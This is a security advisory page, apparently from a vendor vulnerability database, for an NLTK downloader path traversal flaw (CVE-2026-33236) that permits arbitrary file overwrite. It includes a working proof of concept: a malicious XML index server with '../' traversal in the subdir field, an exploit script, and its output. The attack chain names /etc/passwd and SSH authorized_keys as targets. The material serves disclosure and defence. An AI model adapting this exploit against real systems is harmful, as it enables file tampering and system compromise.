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GHSA-469j-vmhf-r6v7

HIGH

NLTK has a Downloader Path Traversal Vulnerability (AFO) - Arbitrary File Overwrite

Also known asCVE-2026-33236
Published
Mar 19, 2026
Updated
Mar 25, 2026
Affected
1 pkg
Patched
None yet
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk31th percentile+0.37%
0.00%0.30%0.60%0.90%0.0%0.0%0.0%0.4%Apr 26Jun 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐍nltk

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Vulnerability Description

The NLTK downloader does not validate the subdir and id attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as ../), which can lead to:

  1. Arbitrary Directory Creation: Create directories at arbitrary locations in the file system
  2. Arbitrary File Creation: Create arbitrary files
  3. Arbitrary File Overwrite: Overwrite critical system files (such as /etc/passwd, ~/.ssh/authorized_keys, etc.)

Vulnerability Principle

Key Code Locations

1. XML Parsing Without Validation (nltk/downloader.py:253)

self.filename = os.path.join(subdir, id + ext)
  • subdir and id are directly from XML attributes without any validation

2. Path Construction Without Checks (nltk/downloader.py:679)

filepath = os.path.join(download_dir, info.filename)
  • Directly uses filename which may contain path traversal

3. Unrestricted Directory Creation (nltk/downloader.py:687)

os.makedirs(os.path.join(download_dir, info.subdir), exist_ok=True)
  • Can create arbitrary directories outside the download directory

4. File Writing Without Protection (nltk/downloader.py:695)

with open(filepath, "wb") as outfile:
  • Can write to arbitrary locations in the file system

Attack Chain

1. Attacker controls remote XML index server
   ↓
2. Provides malicious XML: <package id="passwd" subdir="../../etc" .../>
   ↓
3. Victim executes: downloader.download('passwd')
   ↓
4. Package.fromxml() creates object, filename = "../../etc/passwd.zip"
   ↓
5. _download_package() constructs path: download_dir + "../../etc/passwd.zip"
   ↓
6. os.makedirs() creates directory: download_dir + "../../etc"
   ↓
7. open(filepath, "wb") writes file to /etc/passwd.zip
   ↓
8. System file is overwritten!

Impact Scope

  1. System File Overwrite

Reproduction Steps

Environment Setup

  1. Install NLTK
pip install nltk
  1. Prepare malicious server and exploit script (see PoC section)

Reproduction Process

Step 1: Start malicious server

python3 malicious_server.py

Step 2: Run exploit script

python3 exploit_vulnerability.py

Step 3: Verify results

ls -la /tmp/test_file.zip

Proof of Concept

Malicious Server (malicious_server.py)

#!/usr/bin/env python3
"""Malicious HTTP Server - Provides XML index with path traversal"""
import os
import tempfile
import zipfile
from http.server import HTTPServer, BaseHTTPRequestHandler

# Create temporary directory
server_dir = tempfile.mkdtemp(prefix="nltk_malicious_")

# Create malicious XML (contains path traversal)
malicious_xml = """<?xml version="1.0"?>
<nltk_data>
  <packages>
    <package id="test_file" subdir="../../../../../../../../../tmp" 
             url="http://127.0.0.1:8888/test.zip" 
             size="100" unzipped_size="100" unzip="0"/>
  </packages>
</nltk_data>
"""

# Save files
with open(os.path.join(server_dir, "malicious_index.xml"), "w") as f:
    f.write(malicious_xml)

with zipfile.ZipFile(os.path.join(server_dir, "test.zip"), "w") as zf:
    zf.writestr("test.txt", "Path traversal attack!")

# HTTP Handler
class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/malicious_index.xml':
            self.send_response(200)
            self.send_header('Content-type', 'application/xml')
            self.end_headers()
            with open(os.path.join(server_dir, 'malicious_index.xml'), 'rb') as f:
                self.wfile.write(f.read())
        elif self.path == '/test.zip':
            self.send_response(200)
            self.send_header('Content-type', 'application/zip')
            self.end_headers()
            with open(os.path.join(server_dir, 'test.zip'), 'rb') as f:
                self.wfile.write(f.read())
        else:
            self.send_response(404)
            self.end_headers()
    
    def log_message(self, format, *args):
        pass

# Start server
if __name__ == "__main__":
    port = 8888
    server = HTTPServer(("0.0.0.0", port), Handler)
    print(f"Malicious server started: http://127.0.0.1:{port}/malicious_index.xml")
    print("Press Ctrl+C to stop")
    try:
        server.serve_forever()
    except KeyboardInterrupt:
        print("\nServer stopped")

Exploit Script (exploit_vulnerability.py)

#!/usr/bin/env python3
"""AFO Vulnerability Exploit Script"""
import os
import tempfile

def exploit(server_url="http://127.0.0.1:8888/malicious_index.xml"):
    download_dir = tempfile.mkdtemp(prefix="nltk_exploit_")
    print(f"Download directory: {download_dir}")
    
    # Exploit vulnerability
    from nltk.downloader import Downloader
    downloader = Downloader(server_index_url=server_url, download_dir=download_dir)
    downloader.download("test_file", quiet=True)
    
    # Check results
    expected_path = "/tmp/test_file.zip"
    if os.path.exists(expected_path):
        print(f"\n✗ Exploit successful! File written to: {expected_path}")
        print(f"✗ Path traversal attack successful!")
    else:
        print(f"\n? File not found, download may have failed")

if __name__ == "__main__":
    exploit()

Execution Results

✗ Exploit successful! File written to: /tmp/test_file.zip
✗ Path traversal attack successful!

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐍PyPInltkall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for nltk. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Remediation status

    No patched version of nltk has shipped for GHSA-469j-vmhf-r6v7 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-469j-vmhf-r6v7 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-469j-vmhf-r6v7. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Vulnerability Description The NLTK downloader does not validate the `subdir` and `id` attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as `../`), which can lead to: 1. **Arbitrary Directory Creation**: Create directories at arbitrary locations in the file system 2. **Arbitrary File Creation**: Create arbitrary files 3. **Arbitrary File Overwrite**: Overwrite critical system files (such as `/etc/passwd`, `~/.ssh/authorized_keys`, etc.) ## Vulnerability Principle ### Key
O3 Security · Impact-Aware SCA

Is GHSA-469j-vmhf-r6v7 in your dependencies?

O3 detects GHSA-469j-vmhf-r6v7 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.